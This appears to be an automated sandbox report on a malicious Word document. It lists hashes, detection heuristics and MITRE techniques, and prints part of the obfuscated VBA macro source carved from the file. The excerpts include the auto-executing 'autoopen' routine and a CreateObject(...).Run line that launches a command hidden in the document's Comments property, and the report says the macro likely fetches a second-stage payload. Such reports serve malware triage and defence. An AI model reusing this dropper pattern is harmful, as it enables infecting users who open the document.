Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1e552d212c501db2…

MALICIOUS

Office (OLE)

80.5 KB Created: 2017-08-18 09:39:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: aed6baf45b19d45e63aff6f8b7bf0bd6 SHA-1: 5075ca2ad0a76344f7d3c934cd0ce24263dcecf4 SHA-256: 1e552d212c501db2c437e439ad26c04d2f58674851055e23d5e1caf241cba129
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro uses CreateObject and is marked as auto-executing via autoopen, indicating it's designed to run automatically when the document is opened. The ClamAV detection name 'Doc.Dropper.Agent-6335671-0' and the presence of a VBA macro strongly suggest this document acts as a dropper for further malicious activity. The obfuscated VBA code likely attempts to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6335671-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335671-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    NzYFAxNzYFAxNzYFAxNzYFAxNzYFAx = LwMBdLwMBdLwMBdLwMBdLwMBd + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + xeuCGdxeuCGdxeuCGdxeuCGdxeuCGd + PtRbVgPtRbVgPtRbVgPtRbVgPtRbVg + BMBuctBMBuctBMBuctBMBuctBMBuct + HSxfBAHSxfBAHSxfBAHSxfBAHSxfBA + XbNevbXbNevbXbNevbXbNevbXbNevb + FczwmFczwmFczwmFczwmFczwm + bFXGgbFXGgbFXGgbFXGgbFXGg + fbTSvZfbTSvZfbTSvZfbTSvZfbTSvZ + zEFeeGzEFeeGzEFeeGzEFeeGzEFeeG + WtdsdSWtdsdSWtdsdSWtdsdSWtdsdS + gKcakgKcakgKcakgKcakgKcak + yEeRSyEeRSyEeRSyEeRSyEeRS + nWt …
    CreateObject(ZVhPyZVhPyZVhPyZVhPyZVhPy + "").Run$ "" + NzYFAxNzYFAxNzYFAxNzYFAxNzYFAx + xeuCGdxeuCGdxeuCGdxeuCGdxeuCGd + PtRbVgPtRbVgPtRbVgPtRbVgPtRbVg + BMBuctBMBuctBMBuctBMBuctBMBuct + HSxfBAHSxfBAHSxfBAHSxfBAHSxfBA + XbNevbXbNevbXbNevbXbNevbXbNevb + FczwmFczwmFczwmFczwmFczwm + bFXGgbFXGgbFXGgbFXGgbFXGg + fbTSvZfbTSvZfbTSvZfbTSvZfbTSvZ + zEFeeGzEFeeGzEFeeGzEFeeGzEFeeG + WtdsdSWtdsdSWtdsdSWtdsdSWtdsdS + gKcakgKcakgKcakgKcakgKcak + yEeRSyEeRSyEeRSyEeRSyEeRS + tktsAptktsAptktsAptktsAptktsAp, 0
    CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
    SLdNsuSLdNsuSLdNsuSLdNsuSLdNsu
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40462 bytes
SHA-256: bbf685e5ca087ab748a9c66ab8a34ba385715f83233f1d8dc423e1fd1aeaa152
Detection
ClamAV: No threats found
Obfuscation or payload: likely
102 of 151 identifiers look randomly generated (e.g. 'HSxfBAHSxfBAHSxfBAHSxfBAHSxfBA') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function LNmvLCLNmvLCLNmvLCLNmvLCLNmvLC(ByVal sDRZhPsDRZhPsDRZhPsDRZhPsDRZhP As String, ByVal WzXsXWzXsXWzXsXWzXsXWzXsX As Variant) As Boolean
For Each WGPrTWGPrTWGPrTWGPrTWGPrT In WzXsXWzXsXWzXsXWzXsXWzXsX
    If WGPrTWGPrTWGPrTWGPrTWGPrT = sDRZhPsDRZhPsDRZhPsDRZhPsDRZhP Then
        LNmvLCLNmvLCLNmvLCLNmvLCLNmvLC = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next WGPrTWGPrTWGPrTWGPrTWGPrT
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function GsZwyGsZwyGsZwyGsZwyGsZwy(ByVal LEbARLEbARLEbARLEbARLEbAR As String, ByVal avuhvavuhvavuhvavuhvavuhv As Variant) As Boolean
For Each kgZdfYkgZdfYkgZdfYkgZdfYkgZdfY In avuhvavuhvavuhvavuhvavuhv
    If kgZdfYkgZdfYkgZdfYkgZdfYkgZdfY = LEbARLEbARLEbARLEbARLEbAR Then
        GsZwyGsZwyGsZwyGsZwyGsZwy = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next kgZdfYkgZdfYkgZdfYkgZdfYkgZdfY
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function xcFpuBxcFpuBxcFpuBxcFpuBxcFpuB(ByVal BgVfgBgVfgBgVfgBgVfgBgVfg As String, ByVal gtfXMgtfXMgtfXMgtfXMgtfXM As Variant) As Boolean
For Each UKrPgYUKrPgYUKrPgYUKrPgYUKrPgY In gtfXMgtfXMgtfXMgtfXMgtfXM
    If UKrPgYUKrPgYUKrPgYUKrPgYUKrPgY = BgVfgBgVfgBgVfgBgVfgBgVfg Then
        xcFpuBxcFpuBxcFpuBxcFpuBxcFpuB = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next UKrPgYUKrPgYUKrPgYUKrPgYUKrPgY
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function aTutRaTutRaTutRaTutRaTutR(ByVal eXnzUeXnzUeXnzUeXnzUeXnzU As String, ByVal YkvFyYkvFyYkvFyYkvFyYkvFy As Variant) As Boolean
For Each vngAevngAevngAevngAevngAe In YkvFyYkvFyYkvFyYkvFyYkvFy
    If vngAevngAevngAevngAevngAe = eXnzUeXnzUeXnzUeXnzUeXnzU Then
        aTutRaTutRaTutRaTutRaTutR = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next vngAevngAevngAevngAevngAe
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function eRLFtXeRLFtXeRLFtXeRLFtXeRLFtX(ByVal LftKgXLftKgXLftKgXLftKgXLftKgX As String, ByVal DZvtyfDZvtyfDZvtyfDZvtyfDZvtyf As Variant) As Boolean
For Each LkYUDDLkYUDDLkYUDDLkYUDDLkYUDD In DZvtyfDZvtyfDZvtyfDZvtyfDZvtyf
    If LkYUDDLkYUDDLkYUDDLkYUDDLkYUDD = LftKgXLftKgXLftKgXLftKgXLftKgX Then
        eRLFtXeRLFtXeRLFtXeRLFtXeRLFtX = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next LkYUDDLkYUDDLkYUDDLkYUDDLkYUDD
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function vAEGPCvAEGPCvAEGPCvAEGPCvAEGPC(ByVal EemrVEemrVEemrVEemrVEemrV As String, ByVal ksYSxksYSxksYSxksYSxksYSx As Variant) As Boolean
For Each RYKPwRYKPwRYKPwRYKPwRYKPw In ksYSxksYSxksYSxksYSxksYSx
    If RYKPwRYKPwRYKPwRYKPwRYKPw = EemrVEemrVEemrVEemrVEemrV Then
        vAEGPCvAEGPCvAEGPCvAEGPCvAEGPC = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next RYKPwRYKPwRYKPwRYKPwRYKPw
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function NRrmCdNRrmCdNRrmCdNRrmCdNRrmCd(ByVal dXUGuXdXUGuXdXUGuXdXUGuXdXUGuX As String, ByVal UhYUPUhYUPUhYUPUhYUPUhYUP As Variant) As Boolean
For Each EAumNEAumNEAumNEAumNEAumN In UhYUPUhYUPUhYUPUhYUPUhYUP
    If EAumNEAumNEAumNEAumNEAumN = dXUGuXdXUGuXdXUGuXdXUGuXdXUGuX Then
        NRrmCdNRrmCdNRrmCdNRrmCdNRrmCd = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next EAumNEAumNEAumNEAumNEAumN
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function VcscaCVcscaCVcscaCVcscaCVcscaC(ByVal vfbscvfbscvfbscvfbscvfbsc As String, ByVal kKVaFkKVaFkKVaFkKVaFkKVaF As Variant) As Boolean
For Each KDrrhKDrrhKDrrhKDrrhKDrrh In kKVaFkKVaFkKVaFkKVaFkKVaF
    If KDrrhKDrrhKDrrhKDrrhKDrrh = vfbscvfbscvfbscvfbscvfbsc Then
        VcscaCVcscaCVcscaCVcscaCVcscaC = True
        CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

        Exit Function
    End If
Next KDrrhKDrrhKDrrhKDrrhKDrrh
CTauNxCTauNxCTauNxCTauNxCTauNx = rATwRHrATwRHrATwRHrATwRHrATwRH + nHepbHnHepbHnHepbHnHepbHnHepbH = EbfwvHEbfwvHEbfwvHEbfwvHEbfwvH
 kpufPkpufPkpufPkpufPkpufP = BGHExEBGHExEBGHExEBGHExEBGHExE + swgCYtswgCYtswgCYtswgCYtswgCYt = aamUYaamUYaamUYaamUYaamUY
 ftweFftweFftweFftweFftweF = ynrNFynrNFynrNFynrNFynrNF + yVGRAwyVGRAwyVGRAwyVGRAwyVGRAw = bCTXFbCTXFbCTXFbCTXFbCTXF
 LaTbtLaTbtLaTbtLaTbtLaTbt = rPpcwErPpcwErPpcwErPpcwErPpcwE + BpLMgBpLMgBpLMgBpLMgBpLMg = mMRkUmMRkUmMRkUmMRkUmMRkU
 ZmhwcZmhwcZmhwcZmhwcZmhwc = mWHtvmWHtvmWHtvmWHtvmWHtv + UvCPzVUvCPzVUvCPzVUvCPzVUvCPzV = BSYRuUBSYRuUBSYRuUBSYRuUBSYRuU
 yANHVyANHVyANHVyANHVyANHV = fyBVCfyBVCfyBVCfyBVCfyBVC + hhkeChhkeChhkeChhkeChhkeC = BeupaXBeupaXBeupaXBeupaXBeupaX

End Function
 Function sdGvxsdGvxsdGvxsdGvxsdGvx(ByVal AHCfyDAHCfyDAHCfyDAHCfyDAHCfyD As String, ByVal wzTpuVwzTpuVwzTpuVwzTpuVwzTpuV As Variant) As Boolean
For Each MExzLMExzLMExzLMExzLMExzL In wzTpuVwzTpuVwzTpuVwzTpuVwzTpuV
    If MExzLMExzLMExzLMExzLMExzL = AHCfyDAHCfyDAHCfyDAHCfyDAHCfyD Then
